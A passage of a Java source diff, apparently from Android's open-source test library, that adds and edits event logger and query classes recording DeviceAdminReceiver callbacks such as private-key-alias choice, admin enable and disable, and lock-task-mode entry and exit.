+        public IntegerQuery<DeviceAdminChoosePrivateKeyAliasEventQuery> whereUid() {
+            return mUid;
+        }
+
+        /** Queries {@link Uri}. */
+        @CheckResult
+        public UriQuery<DeviceAdminChoosePrivateKeyAliasEventQuery> whereUri() {
+            return mUri;
+        }
+
+        /** Query {@code alias}. */
+        @CheckResult
+        public StringQuery<DeviceAdminChoosePrivateKeyAliasEventQuery> whereAlias() {
+            return mAlias;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminChoosePrivateKeyAliasEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mUid.matches(event.mUid)) {
+                return false;
+            }
+            if (!mUri.matches(event.mUri)) {
+                return false;
+            }
+            if (!mAlias.matches(event.mAlias)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminChoosePrivateKeyAliasEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("uid", mUid)
+                    .field("uri", mUri)
+                    .field("alias", mAlias)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminChoosePrivateKeyAliasEvent}. */
+    public static DeviceAdminChoosePrivateKeyAliasEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context,
+            Intent intent, int uid, Uri uri, String alias) {
+        return new DeviceAdminChoosePrivateKeyAliasEventLogger(
+                deviceAdminReceiver, context, intent, uid, uri, alias);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminChoosePrivateKeyAliasEvent}. */
+    public static final class DeviceAdminChoosePrivateKeyAliasEventLogger
+            extends EventLogger<DeviceAdminChoosePrivateKeyAliasEvent> {
+        private DeviceAdminChoosePrivateKeyAliasEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent,
+                int uid, Uri uri, String alias) {
+            super(context, new DeviceAdminChoosePrivateKeyAliasEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mUid = uid;
+            mEvent.mUri = new SerializableParcelWrapper<>(uri);
+            mEvent.mAlias = alias;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@code uid} which was received. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setUid(int uid) {
+            mEvent.mUid = uid;
+            return this;
+        }
+
+        /** Sets the {@link Uri} which was received. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setUri(Uri uri) {
+            mEvent.mUri = new SerializableParcelWrapper<>(uri);
+            return this;
+        }
+
+        /** Sets the {@code alias} which was received. */
+        public DeviceAdminChoosePrivateKeyAliasEventLogger setAlias(String alias) {
+            mEvent.mAlias = alias;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected int mUid;
+    protected SerializableParcelWrapper<Uri> mUri;
+    protected String mAlias;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@code uid} passed into
+     * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)
+     */
+    public int uid() {
+        return mUid;
+    }
+
+    /**
+     * The {@link Uri} passed into
+     * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)
+     */
+    public Uri uri() {
+        if (mUri == null) {
+            return null;
+        }
+        return mUri.get();
+    }
+
+    /**
+     * The {@code alias} passed into
+     * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)
+     */
+    public String alias() {
+        return mAlias;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminChoosePrivateKeyAliasEvent{"
+                + " intent=" + intent()
+                + ", uid=" + mUid
+                + ", uri=" + uri()
+                + ", alias=" + mAlias
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
index 397399b..aa0c757 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
@@ -36,7 +36,9 @@
  */
 public final class DeviceAdminDisableRequestedEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminDisableRequestedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminDisableRequestedEvent} events. */
     public static DeviceAdminDisableRequestedEventQuery queryPackage(String packageName) {
         return new DeviceAdminDisableRequestedEventQuery(packageName);
     }
@@ -45,6 +47,9 @@
     public static final class DeviceAdminDisableRequestedEventQuery
             extends EventLogsQuery<DeviceAdminDisableRequestedEvent,
             DeviceAdminDisableRequestedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminDisableRequestedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminDisableRequestedEventQuery> mIntent =
@@ -55,7 +60,7 @@
         }
 
         /**
-         * Query {@link Intent} passed into
+         * Queries {@link Intent} passed into
          * {@link DeviceAdminReceiver#onDisableRequested(Context, Intent)}.
          */
         @CheckResult
@@ -63,7 +68,7 @@
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminDisableRequestedEventQuery>
                 whereDeviceAdminReceiver() {
@@ -80,9 +85,17 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminDisableRequestedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminDisableRequestedEvent}. */
+    /** Begins logging a {@link DeviceAdminDisableRequestedEvent}. */
     public static DeviceAdminDisableRequestedEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminDisableRequestedEventLogger(deviceAdminReceiver, context, intent);
@@ -98,28 +111,28 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminDisableRequestedEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
index d3ccc35..ad81690 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
@@ -36,7 +36,9 @@
  */
 public final class DeviceAdminDisabledEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminDisabledEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminDisabledEvent} events. */
     public static DeviceAdminDisabledEventQuery queryPackage(String packageName) {
         return new DeviceAdminDisabledEventQuery(packageName);
     }
@@ -44,6 +46,9 @@
     /** {@link EventLogsQuery} for {@link DeviceAdminDisabledEvent}. */
     public static final class DeviceAdminDisabledEventQuery
             extends EventLogsQuery<DeviceAdminDisabledEvent, DeviceAdminDisabledEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminDisabledEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminDisabledEventQuery> mIntent = new IntentQueryHelper<>(this);
@@ -53,14 +58,14 @@
         }
 
         /**
-         * Query {@link Intent} passed into {@link DeviceAdminReceiver#onDisabled(Context, Intent)}.
+         * Queries {@link Intent} passed into {@link DeviceAdminReceiver#onDisabled(Context, Intent)}.
          */
         @CheckResult
         public IntentQueryHelper<DeviceAdminDisabledEventQuery> whereIntent() {
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminDisabledEventQuery> whereDeviceAdminReceiver() {
             return mDeviceAdminReceiver;
@@ -76,9 +81,17 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminDisabledEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminDisabledEvent}. */
+    /** Begins logging a {@link DeviceAdminDisabledEvent}. */
     public static DeviceAdminDisabledEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminDisabledEventLogger(deviceAdminReceiver, context, intent);
@@ -94,28 +107,28 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminDisabledEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
index 1ea2699..223ff54 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
@@ -36,7 +36,9 @@
  */
 public final class DeviceAdminEnabledEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminEnabledEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminEnabledEvent} events. */
     public static DeviceAdminEnabledEventQuery queryPackage(String packageName) {
         return new DeviceAdminEnabledEventQuery(packageName);
     }
@@ -44,6 +46,9 @@
     /** {@link EventLogsQuery} for {@link DeviceAdminEnabledEvent}. */
     public static final class DeviceAdminEnabledEventQuery
             extends EventLogsQuery<DeviceAdminEnabledEvent, DeviceAdminEnabledEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminEnabledEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminEnabledEventQuery> mIntent = new IntentQueryHelper<>(this);
@@ -53,14 +58,14 @@
         }
 
         /**
-         * Query {@link Intent} passed into {@link DeviceAdminReceiver#onEnabled(Context, Intent)}.
+         * Queries {@link Intent} passed into {@link DeviceAdminReceiver#onEnabled(Context, Intent)}.
          */
         @CheckResult
         public IntentQueryHelper<DeviceAdminEnabledEventQuery> whereIntent() {
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminEnabledEventQuery> whereDeviceAdminReceiver() {
             return mDeviceAdminReceiver;
@@ -76,9 +81,17 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminEnabledEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminEnabledEvent}. */
+    /** Begins logging a {@link DeviceAdminEnabledEvent}. */
     public static DeviceAdminEnabledEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminEnabledEventLogger(deviceAdminReceiver, context, intent);
@@ -94,28 +107,28 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminEnabledEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
new file mode 100644
index 0000000..edacae2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}
+ * is called.
+ */
+public final class DeviceAdminLockTaskModeEnteringEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminLockTaskModeEnteringEvent} events. */
+    public static DeviceAdminLockTaskModeEnteringEventQuery queryPackage(String packageName) {
+        return new DeviceAdminLockTaskModeEnteringEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminLockTaskModeEnteringEvent}. */
+    public static final class DeviceAdminLockTaskModeEnteringEventQuery
+            extends EventLogsQuery<DeviceAdminLockTaskModeEnteringEvent,
+            DeviceAdminLockTaskModeEnteringEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        StringQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mPkg =
+                new StringQueryHelper<>(this);
+
+        private DeviceAdminLockTaskModeEnteringEventQuery(String packageName) {
+            super(DeviceAdminLockTaskModeEnteringEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminLockTaskModeEnteringEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Query {@code pkg} passed into
+         * {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}.
+         */
+        @CheckResult
+        public StringQuery<DeviceAdminLockTaskModeEnteringEventQuery> wherePkg() {
+            return mPkg;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminLockTaskModeEnteringEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mPkg.matches(event.pkg())) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminLockTaskModeEnteringEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("pkg", mPkg)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminLockTaskModeEnteringEvent}. */
+    public static DeviceAdminLockTaskModeEnteringEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent, String pkg) {
+        return new DeviceAdminLockTaskModeEnteringEventLogger(
+                deviceAdminReceiver, context, intent, pkg);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminLockTaskModeEnteringEvent}. */
+    public static final class DeviceAdminLockTaskModeEnteringEventLogger
+            extends EventLogger<DeviceAdminLockTaskModeEnteringEvent> {
+        private DeviceAdminLockTaskModeEnteringEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, Intent intent, String pkg) {
+            super(context, new DeviceAdminLockTaskModeEnteringEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mPkg = pkg;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeEnteringEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeEnteringEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeEnteringEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminLockTaskModeEnteringEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@code pkg}. */
+        public DeviceAdminLockTaskModeEnteringEventLogger setPkg(String pkg) {
+            mEvent.mPkg = pkg;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected String mPkg;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@code pkg} passed into
+     * {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}.
+     */
+    public String pkg() {
+        return mPkg;
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminLockTaskModeEnteringEvent{"
+                + " intent=" + intent()
+                + ", pkg=" + mPkg
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
new file mode 100644
index 0000000..1607ea6
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onLockTaskModeExiting(Context, Intent)}
+ * is called.
+ */
+public final class DeviceAdminLockTaskModeExitingEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminLockTaskModeExitingEvent} events. */
+    public static DeviceAdminLockTaskModeExitingEventQuery queryPackage(String packageName) {
+        return new DeviceAdminLockTaskModeExitingEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminLockTaskModeExitingEvent}. */
+    public static final class DeviceAdminLockTaskModeExitingEventQuery
+            extends EventLogsQuery<DeviceAdminLockTaskModeExitingEvent,
+            DeviceAdminLockTaskModeExitingEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminLockTaskModeExitingEventQuery(String packageName) {
+            super(DeviceAdminLockTaskModeExitingEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onLockTaskModeExiting(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminLockTaskModeExitingEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminLockTaskModeExitingEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminLockTaskModeExitingEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminLockTaskModeExitingEvent}. */
+    public static DeviceAdminLockTaskModeExitingEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminLockTaskModeExitingEventLogger(
+                deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminLockTaskModeExitingEvent}. */
+    public static final class DeviceAdminLockTaskModeExitingEventLogger
+            extends EventLogger<DeviceAdminLockTaskModeExitingEvent> {
+        private DeviceAdminLockTaskModeExitingEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminLockTaskModeExitingEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
